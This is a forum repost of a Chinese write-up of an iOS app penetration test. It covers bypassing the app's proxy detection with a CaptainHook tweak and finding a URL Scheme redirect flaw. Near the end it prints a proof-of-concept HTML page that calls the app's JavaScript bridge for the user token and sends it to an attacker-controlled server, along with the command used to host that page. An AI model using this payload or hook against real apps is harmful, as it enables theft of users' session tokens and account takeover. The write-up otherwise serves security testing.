搜索

[27974] 2019-12-22_一次iOSApp渗透测试

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2019-12-22_一次iOSApp渗透测试 一 次 i O S   A p p 渗 透 测 试 O t s 安 全   2 0 1 9 - 1 2 - 2 2 i O S   A p p 渗 透 测 试 的 介 绍 相 对 比 较 少 ， 最 近 做 了 一 次 i O S 渗 透 测 试 遇 到 了 一 些 奇 奇 怪 怪 的 问 题 ， 因 此 写 成 了 这 篇 文 章 。 起 因 起 因 手 机 设 置 代 理 后 抓 包 发 现 A p p 连 登 陆 都 登 陆 不 上 ， 登 陆 请 求 过 程 中 返 回 “ 网 络 请 求 错 误 “ 的 信 息 ， b u r p 没 有 看 到 具 体 数 据 包 。 那 么 大 概 就 是 A p p 做 了 代 理 检 测 ， 当 手 机 设 置 系 统 代 理 之 后 A p p 不 和 服 务 端 进 行 网 络 通 讯 。 一 如 既 往 的 提 取 i p a 包 的 可 执 行 文 件 ， i D A 反 编 译 在 F u n c t i o n s   w i n d o w 搜 索 关 键 词 " p r o x y " ， 发 现 了 一 个 g e t P r o x y S t a t u s 方 法 （ G o o g l e 了 一 下 i O S 检 测 系 统 代 理 ， 大 部 分 文 章 也 都 指 向 了 这 个 g e t P r o x y S t a t u s 以 及 C F N e t w o r k C o p y S y s t e m P r o x y S e t t i n g s ） b o o l   _ _ c d e c l   - [ X X X X M a n a g e r   g e t P r o x y S t a t u s ] ( S P B l l H T T P C l i e n t M a n a g e r   * s e l f ,   S E L   a 2 ) {     v 2   =   C F N e t w o r k C o p y S y s t e m P r o x y S e t t i n g s ( ) ;     . . .     r e t u r n   v 1 9   ^   1 ; } 那 么 发 现 问 题 之 后 ， 显 而 易 见 直 接 H o o k g e t P r o x y S t a t u s 或 者 C F N e t w o r k C o p y S y s t e m P r o x y S e t t i n g s ( ) 让 它 返 回 N O 就 好 了 ， 但 是 A p p 用 了 企 业 签 名 ， 重 打 包 的 话 需 要 先 砸 壳 D u m p 出 来 。 经 过 经 过 使 用 f r i d a - i o s - d u m p d u m p 出 来 未 签 名 的 i p a 文 件 之 后 ， x C o d e 新 建 m o n k e y D e v 项 目 自 签 名 之 后 运 行 ， 发 现 应 用 直 接 闪 退 。 经 过 一 系 列 懵 逼 和 纠 结 以 及 大 佬 指 点 后 发 现 ， 其 实 根 据 日 志 信 息 可 以 溯 源 到 原 因 。 一 般 看 i O S   A p p 日 志 可 以 通 过 x C o d e 的 自 带 的 日 志 框 或 者 也 可 以 用 M a c O S 上 的 控 制 台 应 用 ， 但 是 用 x C o d e 看 相 对 比 较 简 洁 明 了 。 这 里 可 以 看 到 报 错 点 在 * * - [ N S F i l e M a n a g e r   c o p y I t e m A t P a t h : t o P a t h : o p t i o n s : e r r o r : ] :   d e s t i n a t i o n   p a t h   i s   n i l ' * * ， 似 乎 是 函 数 的 某 个 参 数 出 问 题 了 。 接 着 在 F u n c t i o n s   w i n d o w 中 搜 索 c o p y I t e m A t P a t h ， 但 是 没 有 找 到 ， 查 一 下 这 是 一 个 文 件 拷 贝 函 数 但 是 并 不 想 深 究 这 个 函 数 作 用 是 什 么 用 在 什 么 场 景 。 接 着 在 S t r i n g s 搜 索 ， 找 到 了 对 应 的 字 符 串
不 断 的 回 溯 找 到 了 调 用 函 数 （ 报 错 的 函 数 ） b o o l   _ _ c d e c l   - [ X X X M a n a g e r   s a v e X X X P a t h : t o F i l e : ] ( X X X M a n a g e r   * s e l f ,   S E L   a 2 ,   i d   a 3 ,   i d   a 4 ) {     . . .     v 1 4   =   o b j c _ m s g S e n d ( & O B J C _ C L A S S _ _ _ N S F i l e M a n a g e r ,   " d e f a u l t M a n a g e r " ) ;     v 1 5   =   ( v o i d   * ) o b j c _ r e t a i n A u t o r e l e a s e d R e t u r n V a l u e ( v 1 4 ) ;     v 1 6   =   o b j c _ m s g S e n d ( v 1 3 ,   " p a t h " ) ;     v 1 7   =   o b j c _ r e t a i n A u t o r e l e a s e d R e t u r n V a l u e ( v 1 6 ) ;     v 1 8   =   ( u n s i g n e d   _ _ i n t 6 4 ) o b j c _ m s g S e n d ( v 1 5 ,   " c o p y I t e m A t P a t h : t o P a t h : e r r o r : " ,   v 6 ,   v 1 7 ,   0 L L ) ;     r e t u r n   v 1 8 ; } 再 溯 源 一 下 找 到 这 个 方 法 的 调 用 点 ， 审 一 下 代 码 并 动 态 调 试 分 析 报 错 原 因 ， 这 里 的 逻 辑 是 判 断 一 个 文 件 是 否 存 在 ， 不 存 在 的 话 调 用 这 个 方 法 进 行 处 理 ， 但 是 重 打 包 过 程 中 导 致 某 个 参 数 为 空 ， 直 接 报 错 程 序 闪 退 。 结 果 结 果 同 时 h o o k 这 个 导 致 程 序 奔 溃 的 s a v e X X X P a t h （ 重 写 函 数 使 它 变 成 一 个 空 函 数 ） 以 及 检 测 系 统 代 理 函 数 g e t P r o x y S t a t u s ， 可 以 进 行 正 常 的 抓 包 并 渗 透 测 试 了 。 C H D e c l a r e C l a s s ( X X X M a n a g e r ) C H O p t i m i z e d M e t h o d 2 ( s e l f ,   v o i d ,   X X X M a n a g e r ,   s a v e X X X P a t h ,   N S S t r i n g   * ,   a r g 1 ,   t o F i l e ,   N S S t r i n g   * ,   a r g 2 )   { } C H D e c l a r e C l a s s ( X X X X M a n a g e r ) C H O p t i m i z e d M e t h o d 0 ( s e l f ,   B O O L ,   X X X X M a n a g e r ,   g e t P r o x y S t a t u s ) {         r e t u r n   N O ;         }         C H C o n s t r u c t o r {                 C H L o a d L a t e C l a s s ( X X X M a n a g e r ) ;                 C H C l a s s H o o k 2 ( X X X M a n a g e r ,   s a v e X X X P a t h ,   t o F i l e ) ;         C H L o a d L a t e C l a s s ( X X X X M a n a g e r ) ;         C H C l a s s H o o k 0 ( X X X X M a n a g e r ,   g e t P r o x y S t a t u s ) ;         } 盗 取 信 用 凭 证 盗 取 信 用 凭 证 除 了 常 规 的 服 务 端 渗 透 测 试 外 ， 客 户 端 测 试 还 有 一 种 常 见 的 漏 洞 - U R L   S c h e m e 盗 取 信 用 凭 证 ， 类 似 于 w e b 端 u r l 跳 转 不 一 样 的 是 在 跳 转 链 接 后 携 带 了 当 前 账 号 的 c o o k i e ， 这 就 导 致 了 信 用 凭 证 泄 漏 。 这 一 般 需 要 ： U R L 跳 转 分 析 U R L   S c h e m e 逻 辑 ， 查 看 S c h e m e 参 数 是 否 存 在 可 控 的 u r l 参 数 ， 可 造 成 U R L 跳 转 跳 转 是 否 携 带 敏 感 信 息
构 造 p o c . h t m l 并 部 署 ， 手 机 浏 览 器 点 击 自 动 跳 转 到 a p p 并 向 恶 意 服 务 器 发 出 请 求 ， 在 服 务 器 中 查 看 w e b 请 求 日 志 是 否 存 在 敏 感 信 息 漏 洞 分 析 漏 洞 分 析 P a s s i o n f r u i t 查 看 a p p   U R L   S c h e m e W e c h a t :   w x 8 0 e 3 2 4 4 4 4 7 c a 1 2 c e : / / Q Q :   Q Q 4 1 e 5 6 4 4 0 : / / t e n c e n t :     t e n c e n t 1 0 1 4 2 8 8 1 5 : / / s i n a :   w b 3 1 7 3 0 6 3 2 1 0 : / / b x t e s t : / / 其 中 b x t e s t 为 自 定 义 U R L   S c h e m e ， 当 s c h e m e 的 h o s t 等 于 b x t e s t 的 时 候 会 自 动 跳 转 到 a p p 反 编 译 二 进 制 文 件 ， 查 看 s c h e m e 处 理 相 关 逻 辑 ； 判 断 是 否 可 以 任 意 u r l 跳 转 函 数 列 表 中 从 a p p l i c a t i o n : o p e n u r l : o p t i o n s 入 口 跟 进 ， 追 踪 到 + [ R o u t e M e d i a t o r   h a n d l e O p e n U R L : ] 其 中 这 段 代 码 中 ， 从 U R L   S c h e m e 中 获 取 u r l 字 段 的 值 作 为 跳 转 U R L （ 并 没 有 做 校 验 以 及 过 滤 ） ， 接 着 判 断 当 前 用 户 登 陆 状 态 ， 并 把 l o g i n S t a t u s 作 为 跳 转 U R L 的 参 数 一 并 发 起 请 求 。 v 7 8   =   o b j c _ m s g S e n d ( v 1 2 ,   " o b j e c t F o r K e y : " ,   C F S T R ( " u r l " ) ) ;             v 7 9   =   ( s t r u c t   o b j c _ o b j e c t   * ) o b j c _ r e t a i n A u t o r e l e a s e d R e t u r n V a l u e ( v 7 8 ) ;             v 8 0   =   ( ( i d   ( _ _ c d e c l   * ) ( U s e r C e n t e r _ m e t a   * ,   S E L ) ) o b j c _ m s g S e n d ) (                             ( U s e r C e n t e r _ m e t a   * ) & O B J C _ C L A S S _ _ _ U s e r C e n t e r ,                             " s h a r e U s e r C e n t e r " ) ;             v 8 1   =   ( v o i d   * ) o b j c _ r e t a i n A u t o r e l e a s e d R e t u r n V a l u e ( v 8 0 ) ;             v 8 2   =   v 8 1 ;             v 8 3   =   ( u n s i g n e d   _ _ i n t 6 4 ) o b j c _ m s g S e n d ( v 8 1 ,   " i s L o g i n " ) ;             v 8 4   =   ( ( i d   ( _ _ c d e c l   * ) ( R o u t e M e d i a t o r _ m e t a   * ,   S E L ,   i d ,   i d ,   b o o l ) ) o b j c _ m s g S e n d ) (                             ( R o u t e M e d i a t o r _ m e t a   * ) & O B J C _ C L A S S _ _ _ R o u t e M e d i a t o r ,                             " g e t P r o c e s s e d F i n a l U r l : p a r a m s : l o g i n S t a t u s : " ,                             v 7 9 ,                             v 1 2 ,                             v 8 3 ) ;             v 8 5   =   ( v o i d   * ) o b j c _ r e t a i n A u t o r e l e a s e d R e t u r n V a l u e ( v 8 4 ) ;             o b j c _ r e l e a s e ( v 8 2 ) ;             o b j c _ r e l e a s e ( v 7 9 ) ;             v 8 6   =   o b j c _ m s g S e n d ( v 8 5 ,   " s t r i n g B y R e p l a c i n g P e r c e n t E s c a p e s U s i n g E n c o d i n g : " ,   4 L L ) ;             v 5 5   =   o b j c _ r e t a i n A u t o r e l e a s e d R e t u r n V a l u e ( v 8 6 ) ; 漏 洞 复 现 漏 洞 复 现 根 据 代 码 逻 辑 分 析 ， 跳 转 的 u r l s c h e m e 为 b x t e s t : / / w e b ? t a r g e t = w e b & u r l = x x x 构 造 恶 意 p o c . h t m l 存 放 在 外 网 服 务 器 启 动 p y t h o n   - m   S i m p l e H T T P S e r v e r   8 8 9 9
< h t m l > < h e a d >     < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " >         w i n d o w . s u c c e s s   =   m s g   = > {             x m l H t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;             x m l H t t p . o p e n ( ' G E T ' ,   ' h t t p : / / i p : 8 8 9 9 / '   +   m s g ,   t r u e ) ;             x m l H t t p . s e n d ( )         }         w i n d o w . w e b k i t . m e s s a g e H a n d l e r s . e x e c u t e . p o s t M e s s a g e ( [ ' U s e r I n f o ' ,   ' g e t T o k e n ' ,   ' ' ,   ' s u c c e s s ' ,   ' f a i l u r e ' ] ) ;     < / s c r i p t >     < / h e a d >     < b o d y >         < p > t e s t < / p >     < / b o d y > < / h t m l > 在 S a f a r i 浏 览 器 打 开 b x t e s t : / / w e b ? t a r g e t = w e b & u r l = x x x / p o c . h t m l 自 动 跳 转 到 具 体 A P P ， 并 成 功 访 问 p o c . h t m l 查 看 w e b s e r v e r 日 志 发 现 有 新 的 请 求 日 志 ， 并 且 G E T 请 求 中 携 带 t o k e n 所 达 到 的 效 果 就 是 ， 受 害 者 点 击 钓 鱼 链 接 后 攻 击 者 就 可 以 获 取 到 受 害 者 账 号 c o o k i e 等 敏 感 信 息 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理